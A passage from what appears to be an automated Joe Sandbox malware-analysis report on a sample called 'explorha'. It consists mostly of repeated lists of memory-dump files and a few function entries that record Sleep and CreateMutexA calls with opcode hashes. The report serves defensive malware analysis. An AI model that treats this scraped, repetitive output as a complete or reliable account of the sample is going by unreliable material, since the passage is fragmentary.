Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d144f51179642b138ce567f01cfba69c7f8ac7973e0db19e6ef9a484eb68302f
Instruction ID: 947f770b011b55769376679d5b67aea6110829e3353fbd74280888af49c89718
Opcode Fuzzy Hash: d144f51179642b138ce567f01cfba69c7f8ac7973e0db19e6ef9a484eb68302f
Instruction Fuzzy Hash: C93177717001448BFB18DB68DDC83AEBBB2EB81314F308219E42AAB3D5C776D9848751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 74e8659606f825153d4661b33a76b4224fa1496745715269532c39d97c1c7994
Instruction ID: 8813b11896eb15358e93f8a21a457cf7beaaf229bbeed2f8fa9f070b4fbff3d0
Opcode Fuzzy Hash: 74e8659606f825153d4661b33a76b4224fa1496745715269532c39d97c1c7994
Instruction Fuzzy Hash: 7A319DB27141408BFB08DB7CDD887AEB7B2EB81314F308219E4559B3E5C7759980C751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4f27db799c957fbe10704e19f6c1ef4c050b6ac5d2f84e2bdc45cf45ded5a69d
Instruction ID: 047b61ede04fbb2b7f75f73bce95df748ee2b29c101972ca1af2348beb4cb2d2
Opcode Fuzzy Hash: 4f27db799c957fbe10704e19f6c1ef4c050b6ac5d2f84e2bdc45cf45ded5a69d
Instruction Fuzzy Hash: 603169B17042449BEB18DB78DD887AEBBB2EBC5314F30821AE4269B3D5C7759980C751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e34e01898d91b964fb1f20f3fab23538f7c21f8baf39c194dad82c49ff61336a
Instruction ID: 58a7d9e451adfbf5a529c7f3d7450ddda5bbe983c3067776b7e726825761109c
Opcode Fuzzy Hash: e34e01898d91b964fb1f20f3fab23538f7c21f8baf39c194dad82c49ff61336a
Instruction Fuzzy Hash: 433197B27002009FFB18DB78DC887AEBBB2EB85314F308219E066AB3D5D77599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3d96b12b7beb394d0c2cca203347602259f8afda1fb8f4f1de18959768fd5fd9
